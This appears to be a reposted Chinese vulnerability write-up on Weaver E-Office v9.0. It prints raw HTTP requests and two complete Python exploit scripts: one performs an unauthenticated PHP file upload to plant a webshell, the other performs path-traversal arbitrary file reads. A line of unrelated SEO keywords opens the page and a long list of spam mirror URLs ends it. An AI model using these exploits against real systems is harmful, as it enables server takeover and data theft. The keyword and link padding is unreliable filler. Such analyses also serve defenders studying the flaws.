科技公司网站建设策划方案,网站维护和制作怎么做会计分录,运营商推广5g技术,音乐网站建设价格6漏洞简介
泛微e-office是一款标准化的协同OA办公软件#xff0c;实行通用化产品设计#xff0c;充分贴合企业管理需求#xff0c;本着简洁易用、高效智能的原则#xff0c;为企业快速打造移动化、无纸化、数字化的办公平台。由于泛微 E-Office 未能正确处理上传模块中输入…漏洞简介
泛微e-office是一款标准化的协同OA办公软件实行通用化产品设计充分贴合企业管理需求本着简洁易用、高效智能的原则为企业快速打造移动化、无纸化、数字化的办公平台。由于泛微 E-Office 未能正确处理上传模块中输入的数据未授权的攻击者可以构造恶意数据包发送给服务器实现任意文件上传并且获得服务器的webshell成功利用该漏洞可以获取服务器控制权。未授权的攻击者可以构造恶意的数据包读取服务器上的任意文件
漏洞影响范围 E-office Server_v9.0
默认安装位置是 d:\eoffice 在虚拟机内安装没有 D 盘所以安装位置是 c:\eoffice
安装完成后服务默认在 8082 端口 通过主机名 或 ip 地址都可以访问到 代码位置在 C:\eoffice\webroot 同样代码也是被加密了的
通过免费的解密网站获得了加密的具体信息 ZEND加密PHP5.2版本 http://www.phpjm.cc/ 利用工具进行批量的解密因为工具点击一次只能进行一次解密所以利用模拟点击的工具进行模拟点击 KeymouseGo 任意文件上传漏洞
漏洞利用
/general/index/UploadFile.php?muploadPictureuploadTypeeoffice_logouserId
POST /general/index/UploadFile.php?muploadPictureuploadTypeeoffice_logouserId HTTP/1.1
Host: 10.0.21.14:8082
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,image/apng,*/*;q0.8,application/signed-exchange;vb3;q0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q0.9
Connection: close
Content-Type: multipart/form-data; boundary----WebKitFormBoundaryykJoMlQs3JMOsgi3
Content-Length: 175------WebKitFormBoundaryykJoMlQs3JMOsgi3
Content-Disposition: form-data; nameFiledata; filename1.php?php phpinfo();?
------WebKitFormBoundaryykJoMlQs3JMOsgi3--上传文件的地址 http://10.0.21.14:8082/images/logo/logo-eoffice.php 漏洞分析
漏洞的主要位于 general/index/UploadFile.php 通过 $_GET 方法获取的参数 m调用 UploadFile 中的任意方法
我们选择其中的 uploadPicture 方法 没有对传入的文件进行过滤如果传入一个 php 文件命名为 1.php 最后上传文件会变为 logo-eoffice.php 传入的位置是$_SERVER[DOCUMENT_ROOT]./images/logo/
利用脚本
import sys
import requestsdef request_shell(url):targeturl url /images/logo/logo-eoffice.phpresponse requests.get(targeturl)if(response.status_code 200):print(获取 shell 成功shell地址为targeturl)def request_upload(url,data):targeturl url /general/index/UploadFile.php?muploadPictureuploadTypeeoffice_logouserIdtargetfile {Filedata:(upload.php,data,text/plain)}response requests.post(url targeturl, files targetfile)if(response.status_code 200):print(上传成功)def read_uploadfile(url,filename):with open(filename) as f:data f.read()request_upload(url,data)def upload_file(url,filename):if (filename phpinfo.php):data ?php phpinfo(); ?request_upload(url,data)else:read_uploadfile(url,filename)def main():if len(sys.argv) 3:print(Usage: upload_file.py targeturl filename\nExample: python upload_file.py http://10.0.21.14:8082 phpinfo.php)exit()url sys.argv[1]filename sys.argv[2]upload_file(url,filename)request_shell(url)if __name__ __main__:main()任意文件下载漏洞
漏洞利用
GET /inc/attach.php?path/../../../../../1.txt HTTP/1.1
Host: 10.0.21.14:8082
Origin: http://10.0.21.14:8082
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q0.9
Connection: close 漏洞分析
inc/attach.php
直接传入参数 最后会读取path 的内容并将结果返回出来我们注意到利用未授权就可将文件下载下来从代码层面并没有看出来原因但是通过浏览器直接访问时无法访问到进行了 302 跳转通过 burpsuite 就可以访问到攥写脚本禁止 302 跳转也可以读取出来。
漏洞的主要来源位于 我们看一下文件的下载链接
利用脚本
import sys
import requests
import redef save_reponse(re_result,filename):filenamere.findall([^/]$,filename)[0]# print(filename)with open(filename, w,encodinggb18030) as f:f.write(re_result)def re_response(response):re_result response[1507:]return re_resultdef read_file(url,filename):targeturl url /inc/attach.php?pathfilenameresponse requests.get(url targeturl, allow_redirectsFalse)# print(response.text)re_result re_response(response.text)print(re_result)save_reponse(re_result,filename)def main():if len(sys.argv) 3:print(Usage: upload_file.py targeturl filename\nExample: python read_file.py http://10.0.21.14:8082 attach.php)exit()url sys.argv[1]filename sys.argv[2]read_file(url,filename)if __name__ __main__:main()
还有一些 SQL 注入漏洞还可以继续进一步的进行审计分析。 文章转载自: http://www.morning.azxey.cn.gov.cn.azxey.cn http://www.morning.bjjrtcsl.com.gov.cn.bjjrtcsl.com http://www.morning.cpzkq.cn.gov.cn.cpzkq.cn http://www.morning.rwls.cn.gov.cn.rwls.cn http://www.morning.c7498.cn.gov.cn.c7498.cn http://www.morning.wqjpl.cn.gov.cn.wqjpl.cn http://www.morning.gnjkn.cn.gov.cn.gnjkn.cn http://www.morning.qfwzm.cn.gov.cn.qfwzm.cn http://www.morning.zwsgl.cn.gov.cn.zwsgl.cn http://www.morning.sgfpn.cn.gov.cn.sgfpn.cn http://www.morning.jqlx.cn.gov.cn.jqlx.cn http://www.morning.bpmdn.cn.gov.cn.bpmdn.cn http://www.morning.jzfrl.cn.gov.cn.jzfrl.cn http://www.morning.bndkf.cn.gov.cn.bndkf.cn http://www.morning.fhntj.cn.gov.cn.fhntj.cn http://www.morning.fbxlj.cn.gov.cn.fbxlj.cn http://www.morning.rdwm.cn.gov.cn.rdwm.cn http://www.morning.rftk.cn.gov.cn.rftk.cn http://www.morning.qfdmh.cn.gov.cn.qfdmh.cn http://www.morning.hhnhb.cn.gov.cn.hhnhb.cn http://www.morning.rrms.cn.gov.cn.rrms.cn http://www.morning.nwzcf.cn.gov.cn.nwzcf.cn http://www.morning.rfqk.cn.gov.cn.rfqk.cn http://www.morning.mftzm.cn.gov.cn.mftzm.cn http://www.morning.wlggr.cn.gov.cn.wlggr.cn http://www.morning.jfwrf.cn.gov.cn.jfwrf.cn http://www.morning.lwhsp.cn.gov.cn.lwhsp.cn http://www.morning.tkxyx.cn.gov.cn.tkxyx.cn http://www.morning.qytpt.cn.gov.cn.qytpt.cn http://www.morning.plgbh.cn.gov.cn.plgbh.cn http://www.morning.wqmyh.cn.gov.cn.wqmyh.cn http://www.morning.yfpnl.cn.gov.cn.yfpnl.cn http://www.morning.wmcng.cn.gov.cn.wmcng.cn http://www.morning.ppdr.cn.gov.cn.ppdr.cn http://www.morning.sbkb.cn.gov.cn.sbkb.cn http://www.morning.pcrzf.cn.gov.cn.pcrzf.cn http://www.morning.lzrpy.cn.gov.cn.lzrpy.cn http://www.morning.dzrcj.cn.gov.cn.dzrcj.cn http://www.morning.tftw.cn.gov.cn.tftw.cn http://www.morning.dzgmj.cn.gov.cn.dzgmj.cn http://www.morning.kmwsz.cn.gov.cn.kmwsz.cn http://www.morning.yjmlg.cn.gov.cn.yjmlg.cn http://www.morning.rkfxc.cn.gov.cn.rkfxc.cn http://www.morning.ynryz.cn.gov.cn.ynryz.cn http://www.morning.kgtyj.cn.gov.cn.kgtyj.cn http://www.morning.lwnb.cn.gov.cn.lwnb.cn http://www.morning.ddtdy.cn.gov.cn.ddtdy.cn http://www.morning.wbysj.cn.gov.cn.wbysj.cn http://www.morning.tknqr.cn.gov.cn.tknqr.cn http://www.morning.bntfy.cn.gov.cn.bntfy.cn http://www.morning.hnkkf.cn.gov.cn.hnkkf.cn http://www.morning.fnywn.cn.gov.cn.fnywn.cn http://www.morning.llfwg.cn.gov.cn.llfwg.cn http://www.morning.dwwbt.cn.gov.cn.dwwbt.cn http://www.morning.bpmnc.cn.gov.cn.bpmnc.cn http://www.morning.ttkns.cn.gov.cn.ttkns.cn http://www.morning.kcdts.cn.gov.cn.kcdts.cn http://www.morning.hflrz.cn.gov.cn.hflrz.cn http://www.morning.gcspr.cn.gov.cn.gcspr.cn http://www.morning.srgsb.cn.gov.cn.srgsb.cn http://www.morning.fllx.cn.gov.cn.fllx.cn http://www.morning.zpqbh.cn.gov.cn.zpqbh.cn http://www.morning.hbnwr.cn.gov.cn.hbnwr.cn http://www.morning.tjcgl.cn.gov.cn.tjcgl.cn http://www.morning.ckcjq.cn.gov.cn.ckcjq.cn http://www.morning.thpns.cn.gov.cn.thpns.cn http://www.morning.qlck.cn.gov.cn.qlck.cn http://www.morning.qllcp.cn.gov.cn.qllcp.cn http://www.morning.rgmd.cn.gov.cn.rgmd.cn http://www.morning.byywt.cn.gov.cn.byywt.cn http://www.morning.txfxy.cn.gov.cn.txfxy.cn http://www.morning.dnbkz.cn.gov.cn.dnbkz.cn http://www.morning.sgpnz.cn.gov.cn.sgpnz.cn http://www.morning.fbylq.cn.gov.cn.fbylq.cn http://www.morning.xfjwm.cn.gov.cn.xfjwm.cn http://www.morning.bnbtp.cn.gov.cn.bnbtp.cn http://www.morning.htfnz.cn.gov.cn.htfnz.cn http://www.morning.tqbw.cn.gov.cn.tqbw.cn http://www.morning.wanjia-sd.com.gov.cn.wanjia-sd.com http://www.morning.dmcqy.cn.gov.cn.dmcqy.cn